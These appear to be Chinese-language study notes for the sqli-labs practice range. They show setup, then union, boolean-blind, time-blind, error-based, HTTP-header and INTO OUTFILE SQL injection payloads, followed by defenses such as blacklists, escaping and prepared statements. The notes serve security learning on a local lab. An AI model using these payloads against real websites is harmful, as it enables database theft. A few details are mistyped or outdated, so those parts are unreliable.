sql-lab靶场搭建
- phpstudy启动apache2.4.39;mysql5.7.26;网站->管理->php版本5.4.45
- 文件:sqli-labs-master,放到phpstudy_pro\WWW目录下
- 在此目录下phpstudy_pro\WWW\sqli-labs-master\sql-connections记事本打开db-creds.inc
- $dbuser ='root'; $(改为自己数据库的用户名,默认为root)(可通过phpstudy查看)
- dbpass ='123456';(改为自己数据库的密码,默认为root)
原理
- 将用户输入拼接到代码中并且被当做sql语句执行
- 构造闭环,将原php代码注释掉,同时加入自己的代码
如:INSERT INTO security.uagents (uagent, ip_address, username) VALUES ($uagent, $IP, $uname)
- $uname通过函数从网页get值为1时,加入1 and payload)--+,则原语句变成
INSERT INTO security.uagents (uagent, ip_address, username) VALUES ($uagent, $IP, $uname an
d payload)--+) 成功将payload执行
种类
- 种类:字符型注入(需要构造闭环),数字型注入(不需闭环)//针对get的注入(--+闭环),针对post的注入(必须登陆成功)(#闭环)
- 方法:联合查询,显错(报错)注入,时间/布尔盲注,http报文首部字段注入等
注入前准备
判断闭环方式
- 直接查看php代码
- 有回显的情况下针对get构造?id=1 and 1=1--+若正确则构造?id=1 and 1=2--+若错误(两种情况:语法报错,或明显的布尔报错,get通常为布尔报错)则说明闭环方式猜测正确
- 有回显的情况下针对post构造1 or sleep(5)若成功(两种情况:语法报错,或明显的布尔报错,post通常为语法报错)则闭环方式猜测正确.
- 若网页进行了过滤,则找未过滤的地方判断(极端情况下通过对http报文首部字段的构造判断闭环)
- 常见闭环方式:1,1',1",1),1'),1"),1')),1"))等
判断注入点
- 直接查看代码
- 有get注入get,没有get或get被过滤注入post(通过尝试来判断有无过滤)
- 注入post时网页有多个输入框可以post时,部分输入框可能进行了过滤处理,需要将代码输入不同框中尝试
- http报文首部字段注入(如cookie,referer,user-agent等)
注入常用指令与工具
- 查字段数order by
- 联合查询union select(注意前后字段数一致,order by的目的就是使联合查询不出现语法错误)
- 数据库database()
- 放入所有库名与表名的库information_schema,库中的表tables,其中table_schema为放入库名的字段,table_name为放入表名的字段
- 放入所有表名与字段名的库information_schema,库中的表columns,其中table_name为放入表名的字段,column_name为放入字段名的字段
- 获取长度length()
- 从字符串中截取长度为b位,从第a位为开始substr(string,a,b)
- 连接符concat(0x7e,payload,0x7e)通常用于报错(此为固定格式)
- security.emails意思是security下的emails表
- 限制输出limit 0,1 一次输出1个,从第一个输出
- 制造报错updatexml(1,concat(0x7e,database(),0x7e),1)(此为固定格式)(只能输出31位,如果数量较大就)
- 全部输出group_concat(表名/字段名)
- 判断语句是否为真 if(a,b,c)a成立执行b,不成立执行c
- bp爆破,右键send to intruder,clear字符,添加字符控制爆破变量,选择custom爆破,选择变量的爆破类型,添加字典,时间爆破可以sleep(500)使数据突出,布尔爆破可以查看页面长度
- bp抓包,右键send to repeater,修改首部,send,查看response,可以点击render查看返回页面
联合查询
- 使用:联合查询用于网页对数据有回显位置,联合查询时将代码植入后通过显错位显示传出数据
- 步骤(以sql-lab l1为例):
-
判断闭环方式(同上),测试得闭环方式为'1'
http://localhost/sqli-labs-master/Less-1/?id=1 and 1=1 正常返回
http://localhost/sqli-labs-master/Less-1/?id=1 and 1=2 正常返回 推测可能存在字符型注入
http://localhost/sqli-labs-master/Less-1/?id=1' and 1=1 --+ 形成闭环,正常返回 再次验证
http://localhost/sqli-labs-master/Less-1/?id=1' and 1=2 --+ 形成闭环,不返回 证明此为字符型注入,闭环方式为'1'
-
判断表的字段数 ,使用order by查询
-
函数按字段为表中数据排序,若有3个字段,则order by 4报错
http://localhost/sqli-labs-master/Less-1/?id=1' order by 4 --+ 4开始报错,说明有三个字段
-
联合查询查看显错位
故意让第一个条件出错,使得显错位显示第二个条件的输出值,之后都如此
http://localhost/sqli-labs-master/Less-1/?id=1234' union select 1,2,3 --+显示2,3;说明2,3为显错位
-
查询库名
http://localhost/sqli-labs-master/Less-1/?id=1234' union select 1,2,database() --+ 返回security,说明数据库名security
-
查询表名
http://localhost/sqli-labs-master/Less-1/?id=1'and 1=2 union select 1,table_name,3 from information_schema.tables where table_schema="security"(limit 0,1 可通过limit全部输出)--+查得表名为emails
-
查询字段名
http://localhost/sqli-labs-master/Less-1/?id=1'and 1=2 union select 1,column_name,3 from information_schema.columns where table_name="emails"--+ 借助limit 1,1 查得字段为id和mail_id
-
查数据
http://localhost/sqli-labs-master/Less-1/?id=1234' union select 1,id,email_id from security.eamils limit 0,1 --+
布尔盲注
- 使用:网站无回显位置,但是有报错,通过逐个询问查看网页报错进行爆破
- 步骤(以lesson5为例):
-
判断闭环方式
-
判断数据库名字长度与名字
and length(database())>1
and substr(database(),1,1)="a"
-
爆表名
and length((select table_name from information_schema.tables where table_schema="库名")limit 0,1)>1
and substr((select table_name from information_schema.tables where table_schema="库名"limit 0,1),1,1)="a"
-
爆字段名
and length((select column_name from information_schema.columns where table_name="表名"limit 0,1))>1
and substr((select column_name from information_schema.columns where table_name="表名"limit 0,1),1,1)="a"
-
爆数据
and length(((select * from 库名.表名 limit 0,1))>1
and substr((select * from 库名.表名 limit 0,1),1,1)="a"
-
注意,布尔注入时若库中有多个表,表中有多个字段,有多个数据,则会报错,所以必须limit
时间盲注
- 使用:网站无回显也无报错
- 步骤:
-
查看包裹方式
-
判断数据库名字长度与名字
and if(length(database())=7,sleep(2),null)--+
and if(substr(database() ,1,1)="e",sleep(50),null)--+
-
爆表名
and if(length((select table_name from information_schema.tables where table_schema="库名"limit 0,1)>1,sleep(50),null)--+
and if(substr((select table_name from information_schema.tables where table_schema="库名"limit 0,1),1,1)="a",sleep(50),null)--+
-
爆字段名
and if(length((select column_name from information_schema.columns where table_name="表名"limit 0,1))>1,sleep(50),null)--+
and if(substr((select column_name from information_schema.columns where table_name="表名"limit 0,1),1,1)="a",sleep(50),null)--+
-
爆数据
and if(length((select 字段名 from 表名 limit 0,1))>1,sleep(50),null)--+
and if(substr((select 字段名from 表名 limit 0,1) ,1,1)="e",sleep(50),null)--+
报错注入
- 使用:网页未对报错信息进行拦截
- 步骤:
-
查看字段数
-
非法传递库名
union select 1,2,updatexml(1,concat(0x7e,database(),0x7e),1)–-+// 或者直接and updatexml(1,concat(0x7e,database(),0x7e),1)–-+//
-
非法传递表名
union select 1,2,updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security',0x7e),1)–-+
或and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=‘库名’),0x7e),1)–-+
-
非法传递字段名
union select 1,2,updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name="表名"),0x7e),1)–-+
或and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name="表名"),0x7e),1)–-+
-
非法传递数据
union select 1,2,updatexml(1,concat(0x7e,(select group_concat(id) from security.emails),0x7e),1)–-+
首部字段注入
-
选择要注入的首部字段,如果无法查看源码则只能依次尝试,寻找与数据库发生交互的字段
-
许多字段注入需要登陆
-
insert into 哪里就向哪里注入(与数据库交互)
-
如 INSERT INTO security.uagents(uagent, ip_address, username) VALUES ('$uagent', '$IP', $uname)
则针对values(1,1,1)进行闭环,将VALUES ('$uagent', '$IP', 符号(markdown语法错误打不出来哈哈哈)uname)闭环为VALUES ('1',1,payload)#, '$IP', $uname)
-
建议and updatexml()而不是select 1,1,updtexml()
结果输出到文件
- 不知道文件地址可以爆破(未尝试)
- 输出需要权限,权限的获取方法:
-
查看权限
靶机数据库后台执行 SHOW VARIABLES LIKE "secure_file_priv";
-
返回结果
secure_file_priv的值为null ,表示限制mysqld 不允许导入|导出
当secure_file_priv的值为/tmp/ ,表示限制mysqld 的导入|导出只能发生在/tmp/目录下 当secure_file_priv的值没有具体值时,表示不对mysqld 的导入|导出做限制
-
修改权限
my.ini加入以下内容
[mysqld] secure_file_priv="D:\phpstudy_pro\Extensions\MySQL5.7.26\data"
- union select 1,2,database() into outfile 'D:/phpstudy_pro/Extensions/MySQL5.7.26/data/aa.txt'--+注意斜杠方向与windows不同
防注入常见方法
-
限制数据类型
限制传入数据为整型,如is_numeric($_GET[‘id’])使得注入语句无法生效
-
正则表达式匹配关键词
为传入数据添加黑名单,如
$id=$_POST['id']; if (preg_match('/and|select|insert|insert|update|[A-Za-z]|/d+:/i', $id)) { die('stop hacking!'); //过滤了select等词语
-
函数过滤转义
在php中最基本的就是自带的magic_quotes_gpc函数,用于处理 ’和 " 符号加上/ 防止转义如\n,\r不起作用, 比如:
?id=1' and 1=1# ===> ?id=1/' and 1=1#
另外还有addslashes(),也具有相同的效果。
默认情况下,PHP 指令 magic_quotes_gpc 为 on,对所有的 GET、POST 和 COOKIE 数据自动运行 addslashes()。不要对已经被 magic_quotes_gpc 转义过的字符串使用 addslashes(),因为这样会导致双层转义。遇到这种情况时可以使用函数 get_magic_quotes_gpc() 进行检测。
-
预编译语句
将数据于代码分离的方式,把传入的参数绑定为一个变量,用?表示,攻击者无法改变SQL的结构
$query="INSERT INTO myCity (Name,CountryCode,District) VALUES (?,?,?)"; $stmt=$mysqli->prepare($query); $stmt->bind_param("sss",$val1,$val2,$val3); $val1="Stuttgart"; $val2="DEU"; $val3="Baden"; //execute the statement $stmt->execute();
预编译语句是最佳方式,并不是说只是使用这一种方法就能够防止SQL注入,而实际上预编译也存在注入绕过的问题,并且也不是所有的地方都能够使用预编译语句。